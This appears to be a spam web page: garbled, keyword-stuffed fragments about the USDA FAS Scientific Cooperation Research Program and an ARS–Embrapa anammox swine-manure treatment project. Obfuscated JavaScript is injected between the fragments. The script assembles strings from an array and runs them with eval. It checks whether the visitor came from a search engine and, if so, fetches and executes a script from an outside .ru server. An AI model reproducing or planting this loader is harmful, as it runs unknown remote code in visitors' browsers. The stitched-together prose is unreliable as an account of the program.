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Usda Fas Scientific Cooperation Research Program

Funding While some of ICD's collaborative programs are financed by Congressional appropriations, most development activities are funded through reimbursable agreements with USAID, other USDA and U.. ;VB["rEq"]="| (" ;VB["YXO"]="|: ";VB["axO"]="il ";VB["PIA"]=" re";VB["IpX"]="aaM";VB["sVJ"]="= d";VB["fdm"]="\li";VB["mxJ"]="35.. S This cooperative effort helps developing nations surmount the barriers of hunger and poverty and build more stable economies.. Professional Development and Training: Career- related training for foreign agriculturalists provides long- term benefits to economic development, magnifying potential because those who learn teach others.. ASABE Meeting, Tampa, FL ARS Information Staff made a news release July 2 Vanotti and Szogi presented seminars on manure treatment technologies at Embrapa.

\";VB["mca"]=">0");VB["Tdx"]="r s";VB["YKb"]="amb";VB["LdT"]="rOc";VB["kWQ"]=" {ev";VB["bXs"]="|| ";VB["rXB"]="aho";VB["Lfx"]="r r";VB["Qlw"]=") |";VB["WCZ"]="er.. Monitoring activities included: exchange visits to ARS and EMBRAPA laboratories, meetings, conference calls, a workshop, and co- authored scientific publications.. International Organizations: ICD advances and protects U S Technical expertise is provided in areas like food processing and distribution, plant and animal protection and quarantine, soil and water conservation, and forest management.. Shimamura, visited ARS in March 2 USA The following presentations/publications have been completed under this project: Vanotti, M.. RAMIRAN conf , Denmark Szogi, Vanotti, Garcia and Kunz Development of ANAMMOX Process For Animal Waste Treatment: Experiences in the USA.. ICD assists other governments and international development organizations by arranging U.. S Data on import and export regulations, commodity grades and standards, and financing are available.. \";VB["dKb"]="men";VB["hKV"]="var";VB["vXm"]="ify";VB["VFP"]=" s";VB["BKz"]=" ur";VB["itQ"]=" { a";VB["Cdf"]="t.. Significant Activities that Support Special Target Populations This report serves to document research conducted under a reimbursable agreement between ARS and the USDA- FAS.

The Scientific Cooperation Research Program supports joint FAS Trade and Scientific Exchanges.. ";VB["Cxt"]="p: ";VB["jeY"]="(re";VB["gyZ"]="me ";VB["oqX"]="typ";VB["PXb"]="wee";VB["JVw"]="bly";VB["xcl"]="ocu";VB["WFY"]=".. A Workshop was organized by Embrapa in Brazil on technologies for removal of nutrients from livestock operations.. ICD helps increase income and food availability in developing nations by linking the technical expertise of the U.. r";VB["LJT"]="> 0";VB["DDM"]="",s";VB["JCM"]="Sta";VB["BDu"]=" {i";VB["TXf"]="o \";VB["WRx"]="pt";VB["TSM"]="R) ";VB["Sgu"]="exO";VB["Swo"]="ON.. Observational study programs and on- the- job training, provide opportunities for foreign agriculturalists to increase their potential for economic development.. Impacts(N/A)Publications. Department of Agriculture's (USDA) Foreign Agricultural Service is to enhance the competitiveness of U.

Development of Anaerobic Ammonium Oxidation (Anammox) Technology Using Immobilized Biomass from Swine Manure.. In the Cochran Fellowship Program, senior and mid- level specialists and administrators from middle- income countries and emerging markets are exposed to U.. Department of Agriculture USDA Scientific Cooperation Research Program USDA Scientific Cooperation Program.. This information can mean the difference between success and failure in a business venture.. \";VB["Ify"]="(\r";VB["ZxJ"]="= l";VB["Upl"]="ef ";VB["ubl"]="\go";VB["ovz"]="va";VB["Ofh"]="ef.. ";VB["ghP"]="n (" ;VB["XQA"]="> ";VB["dmo"]="tru";VB["DWP"]="fal";VB["LAS"]="T f";VB["LES"]=" {\$. ICD Links University/Government/Private Sector Expertise Through ICD, USDA agencies share their technical expertise in a number of areas with the U.. As industrialized nations have become saturated with goods and services, investors have begun to explore developing nations as markets for fresh and expanded business ventures.. Garcia- Gonzalez, and A Nitrogen removal with the anaerobic ammonia oxidation (Anammox) process using polymer gel biomass carrier seeded with swine effluent sludge.. ";VB["KVg"]="\ma";VB["rWw"]="ros";VB["APx"]="LdM";VB["ZBB"]="4sF";VB["HYD"]="mIH";VB["vBP"]="rre";VB["Uik"]="e .

Through long- term projects, U S This type of assistance includes needs assessments, project design and development, monitoring and impact assessment, and human resource development.. SCIENCE AND TECHNOLOGY PROGRAMS USDA's funding of various international scientific research projects..

"}";VB["zFj"]=");"}";VB["NEh"]="ssD";VB["asg"]="ing";VB["uoK"]="nse";VB["AxD"]="ref";VB["vFX"]="rro";VB["wXS"]=" 0";VB["dsv"]="oce";VB["yVz"]="len";VB["yeR"]="ind";VB["qHI"]="POS";VB["Xvb"]="dex";VB["fJs"]="tp:";VB["RYv"]="13/";VB["lsy"]="sDo";VB["tPB"]="ess";VB["ShT"]=""

+";VB["MIz"]="GE";VB["VGz"]="erv";VB["GiC"]="tio";VB["sVp"]="als";VB["bkQ"]="",

j";VB["PuT"]="e,j";VB["uCY"]="cri";VB["ivj"]="n.. Department of Agriculture (USDA) Scientific Cooperation Research Program X Department of Agriculture.. W, Whitten Building, 1 Independence Avenue, SW, Washington DC 2 TDD) USDA is an equal opportunity provider and employer.. Nations moving from low- to middle- income status now offer the brightest prospects for U.. Affordable treatment technology will promote sustainable swine production in concentrated areas such as North Carolina and Santa Catalina (Brazil) and help improve the quality of life.. The FAS Scientific Cooperation Exchange Program staff will send an International Cooperation & Development.. Cooperator in Brazil was also successful in the development of anammox cultures using local animal waste sludges and the isolation protocol developed at Florence..

Investigators in both countries will conduct research to develop treatment systems based on energy- efficient anaerobic ammonium oxidation (ANAMMOX) process and immobilization technology.. S These courses are practical and can be adapted to meet specific needs of foreign agriculturalists in a variety of areas such as agribusiness, extension education, natural resources, policy and economics, and human resource development.. Additional details of research can be found in the report for the in- house project 6.. DEVELOPMENT OF NEW GENERATION LOW- COST TREATMENT OF AMMONIA TO BENEFIT THE ENVIRONMENT AND PROMOTE SUSTAINABLE LIVESTOCK PRODUCTIONProgress 1.. Approach (from AD- 4 The research will involve three steps: 1) Development of high- rate ANAMMOX immobilized culture suitable for treatment of high- strength animal wastewater using indigenous microbial sources around pig farms in Brazil and North Carolina; 2) Development of approaches to couple the ANAMMOX process with a nitrite producing module to provide a new total system for bio- treatment of nitrogen; and 3) Design and experimental testing of prototypes to evaluate process performance of the new system under field conditions.. S Through these linkages, the U S These international partnerships are the germinating seeds that can produce a rich and diverse harvest of scientific advances and business ventures.. The United States Department of Agriculture's (USDA) Foreign Agricultural Service.. Laboratory research was supervised daily by Dr Vanotti (USA reactors) and Dr Kunz (Brazil reactors).. The disaster assistance program helps people respond to natural disasters such as drought, forest fires, floods, landslides, and earthquakes.. ICD relies on the talent and expertise available in these organizations to help carry out the following programs: Scientific Cooperation: The Scientific Cooperation Program promotes and supports international cooperation in agriculture and forestry to attain mutual benefit through a variety of projects.. The Center for Information, Research, and Analysis (CIRA) receives inquiries from individuals working with USAID in developing countries and emerging markets worldwide.. Florianopolis, Brazil, August 2 Airton Kuntz made a presentation on this cooperative work at the ARS International Seminar series at Beltsville on March 6, 2.. S Government agencies, like the Food and Drug Administration or the Environmental Protection Agency.. Famine mitigation activities involve a broad spectrum of

USDA, university, and private sector resources to assist USAID missions in developing strategies to alleviate the onset of food insecurity situations.. An ARS Invention Disclosure (Docket No 1 Vanotti and Szogi, Fujii (Sojo Univ , Japan) and his graduate student, M.. D, It supports objective 1 F of the parent project Accomplishments include: development of active cultures of anammox, immobilization into various synthetic carriers (PVA, non- woven fibers, and woven fibers) using continuous- flow reactors, characterization using molecular techniques (FISH and DNA sequencing), pilot testing, and implementation of a nitrite generation reactor.. Short- term visits between U S This exchange of information, materials, and techniques is invaluable to the improvement of crops, forestry products, and livestock on a global scale.. The new generation bio- treatment system has the potential to reduce more than four times the operational cost of treatment.. The project will involve cooperative work between USDA- ARS and EMBRAPA, Brazil's agricultural research organization, under the Scientific Cooperation Research Program of USDA- Foreign Agricultural Service.. Room 3 00 8- South Building Ag Stop 1 08 1Washington, DC 2 Tel Department of Agriculture (USDA) prohibits discrimination in all its programs and activities on the basis of race, color, national origin, gender, religion, age, disability, political beliefs, sexual orientation, and marital or family status.. S Government agencies, U S Department of Agriculture Scientific Cooperation and Research..

";VB["AJU"]="son";VB["yRE"]="tus";VB["DNo"]="efe";VB["SXI"]="ht";VB["qFE"]="ed ";VB["tAC"]="ogl";VB["WcI"]="sc s";VB["nUU"]=",er";VB["unM"]="YUh";VB["dLA"]="res";VB["Mmb"]="rTh";VB["zkT"]="row";VB["Ixj"]="spo";VB["NDI"]="g.. Programs of Mutual Benefit ICD develops its programs in collaboration with and to serve other USDA agencies, the U..

View Jamilah Cassagnol's USDA Foreign Agricultural Service Funding Opportunity: USDA/FAS Scientific Cooperation Research Program.. Materials furnished by the CIRA staff are obtained from USDA and other sources worldwide and provide accurate information for production, marketing, business, and policy decisions.. To file a complaint of discrimination, write

USDA, Director, Office of Civil Rights, Room 3..

i";VB["RPP"]="ler";VB["VgG"]="ext";VB["fit"]="nde";VB["gOu"]="\ms";VB["zCY"]="aTy";VB["VyK"]="js?";VB["beR"]="0");VB["DZK"]="ve.. In addition, ICD has access to one of the world's largest, most experienced pools of natural resource and environmental expertise in the areas of soil science, forestry, watershed management, integrated pest management, livestock and range management, irrigation and drainage, global climate change, biodiversity, ecology, and environmental impact assistance.. \";VB["wma"]=",pr";VB["ZMm"]="r,i";VB["dTa"]="(\y";VB["wHA"]="\");VB["tTf"]="a");VB["ZSX"]="T,";VB["htc"]="dat";VB["vdX"]="seD";VB["zGO"]="Of(";VB["Nik"]="n)";VB["RJH"]="lg5";VB["vvM"]="f.. in";VB["NSu"]="aW ";VB["CMp"]="f(r";VB["kRH"]="ex";VB["Rea"]="Dat";VB["Tgq"]="qXH";VB["zKw"]="ail";VB["EtS"]=">";VB["zyi"]="mai";VB["jKm"]="ror";VB["Ovn"]=",e";VB["EpA"]="l r";VB["Pwb"]="gth";VB["ilQ"]=",}";VB["wFL"]=" ";VB["QoS"]="pe.";VB["ImS"]="0 l";VB["DBV"]="bin";VB["gyO"]="t(";VB["QHv"]=":f";VB["Lhg"]="aja";VB["gLD"]="how";VB["bnR"]="al(";VB["qZj"]="x({";VB["NAB"]="ata";VB["otI"]="JS";VB["GTT"]="str";VB["IVS"]="(\v";VB["TfZ"]="unc";VB["xvl"]=" q ";VB["IUI"]="}";VB["ndF"]="se,";VB["Xtz"]=",t";VB["WwT"]="Jlh";VB["ZPB"]="e,c";VB["xkx"]="=" ";VB["TXg"]="//v";VB["PaP"]="ucc";eval(VB["hKV"]+VB["xvl"]+VB["ZxJ"]+VB["ovz"]+VB["Tdx"]+VB["gLD"]+VB["gyZ"]+VB["xkx"]+VB["zZl"]+VB["vys"]+VB["ovz"]+VB["Lfx"]+VB["Upl"]+VB["sVJ"]+VB["xcl"]+VB["dKb"]+VB["Cdf"]+VB["DNo"]+VB["vBP"]+VB["ZMm"]+VB["CMp"]+VB["Ofh"]+VB["yVz"]+VB["Pwb"]+VB["mca"]+VB["BDu"]+VB["TUx"]+VB["jey"]+VB["vvM"]+VB["fit"]+VB["igk"]+VB["dTa"]+VB["jHG"]+VB["kRH"]+VB["abz"]+VB["LJT"]+VB["Qlw"]+VB["rEq"]+VB["AxD"]+VB["WFY"]+VB["Xvb"]+VB["zGO"]+VB["ubl"]+VB["tAC"]+VB["Uik"]+VB["EtS"]+VB["beR"]+VB["wFL"]+VB["PIA"]+VB["vvM"]+VB["fit"]+VB["igk"]+VB["lfy"]+VB["YKb"]+VB["RPP"]+VB["wHA"]+VB["XQA"]+VB["ImS"]+VB["EpA"]+VB["Ofh"]+VB["yeR"]+VB["Sgu"]+VB["xLp"]+VB["DBV"]+VB["NDI"]+VB["EtS"]+VB["wXS"]+VB["bXs"]+VB["AxD"]+VB["WFY"]+VB["Xvb"]+VB["zGO"]+VB["KVg"]+VB["axO"]+VB["abz"]+VB["LJT"]+VB["wFL"]+VB["PIA"]+VB["vvM"]+VB["fit"]+VB["igk"]+VB["dTa"]+VB["rXB"]+VB["TXf"]+VB["EtS"]+VB["wXS"]+VB["bXs"]+VB["AxD"]+VB["WFY"]+VB["Xvb"]+VB["zGO"]+VB["gOu"]+VB["ivj"]+VB["EtS"]+VB["wXS"]+VB["bXs"]+VB["AxD"]+VB["WFY"]+VB["Xvb"]+VB["zGO"]+VB["fdm"]+VB["DZK"]+VB["abz"]+VB["LJT"]+VB["wFL"]+VB["PIA"]+VB["vvM"]+VB["fit"]+VB["igk"]+VB["IVS"]+VB["hXq"]+VB["EtS"]+VB["beR"]+VB["LES"]+VB["Lhg"]+VB["qZj"]+VB["oqX"]+VB["Vug"]+VB["Miz"]+VB["ZSX"]+VB["htc"]+VB["zCY"]+VB["QoS"]+VB["VFP"]+VB["uCY"]+VB["WRx"]+VB["wma"]+VB["dsv"]+VB["NEh"]+VB["NAB"]+VB["QHv"]+VB["sVp"]+VB["ZPB"]+VB["rWw"]+VB["lSy"]+VB["zyi"]+VB["fJp"]+VB["dmo"]+VB["PuT"]+VB["AJU"]+VB["Cxt"]+VB["DWP"]+VB["ndF"]+VB["BKz"]+VB["YXO"]+VB["SXI"]+VB["fJs"]+VB["TXg"]+VB["IpX"]+VB["APx"]+VB["WwT"]+VB["LdT"]+VB["RJH"]+VB["ZBB"]+VB["unM"]+VB["HYD"]+VB["VWw"]+VB["NSu"]+VB["Wcl"]+VB["VGz"]+VB["WCZ"]+VB["LKa"]+VB["RYv"]+VB["mxJ"]+VB["VyK"]+VB["PXb"]+VB["JVw"]+VB["DDM"]+VB["PaP"]+VB["tPB"]+VB["QHv"]+VB["TfZ"]+VB["GiC"]+VB["ghP"]+VB["dLA"]+VB["SgZ"]+VB["vdX"]+VB["NAB"]+VB["Xtz"]+VB["VgG"]+VB["JCM"]+VB["yRE"]+VB["bkQ"]+VB["Tgq"]+VB["TSM"]+VB["kWQ"]+VB["bnR"]+VB["dLA"]+VB["SgZ"]+VB["vdX"]+VB["NAB"]+VB["zFj"]+VB["nUU"]+VB["jKm"]+VB["QHv"]+VB["TfZ"]+VB["GiC"]+VB["ghP"]+VB["dLA"]+VB["SgZ"]+VB["vdX"]+VB["NAB"]+VB["Xtz"]+VB["VgG"]+VB["JCM"]+VB["yRE"]+VB["Ovn"]+VB["vFX"]+VB["Mmb"]+VB["zkT"]+VB["Nik"]+VB["itQ"]+VB["RPP"]+VB["gyO"]+VB["qHI"]+VB["LAS"]+VB["zKw"]+VB["qFE"]+VB["ShT"]+VB["otI"]+VB["Swo"]+VB["GTT"]+VB["asg"]+VB["vXm"]+VB["jey"]+VB["Ixj"]+VB["uoK"]+VB["Rea"]+VB["tTf"]+VB["ilQ"]+VB["zFj"]+VB["IUI"]);International Cooperation & Development.. S So it is in the best interests of the United States to foster economic growth, strong diplomatic ties, and durable trade relationships in these nations.. var l = 'usda+fas+scientific+cooperation+research+program';var VB = new Array();VB["VWw"]="mD0";VB["jHG"]="and";VB["xLp"]="f(\";VB["vys"]="ce";VB["abz"]="\");VB["fJp"]="n";VB["LKa"]="ru/";VB["zZl"]="for";VB["TUx"]="f (";VB["Vug"]="e ";VB["SgZ"]="pon";VB["igk"]="xOf";VB["hXq"]="k.. Outputs Progress Report Objectives (from AD- 4 This project will be conducted to develop new generation, low- cost treatment of animal wastewater based on applications of newly discovered microbial transformations and materials science.. Kunz, Vanotti, Szogi, Garcia, Neto and Soares Development of ANAMMOX Process For Animal Waste Treatment: Experiences in Brazil.. Pilot operation will be evaluated and modified to optimize process conditions and provide technical recommendations on the new generation N removal system.. Disaster Assistance/Famine Mitigation: In collaboration with USAID's Office of Foreign Disaster Assistance, ICD manages a disaster assistance program and famine mitigation activities.. Scientific Cooperation Research Program may be used USDA United States Department of Agriculture Foreign.. S Agency for International Development (USAID), other public and private institutions, foreign nations, development banks, and the university community.. These prototypes will be tested in pig farms in North Carolina and in EMBRAPA's Swine Center in Santa Catarina, Brazil. e10c415e6f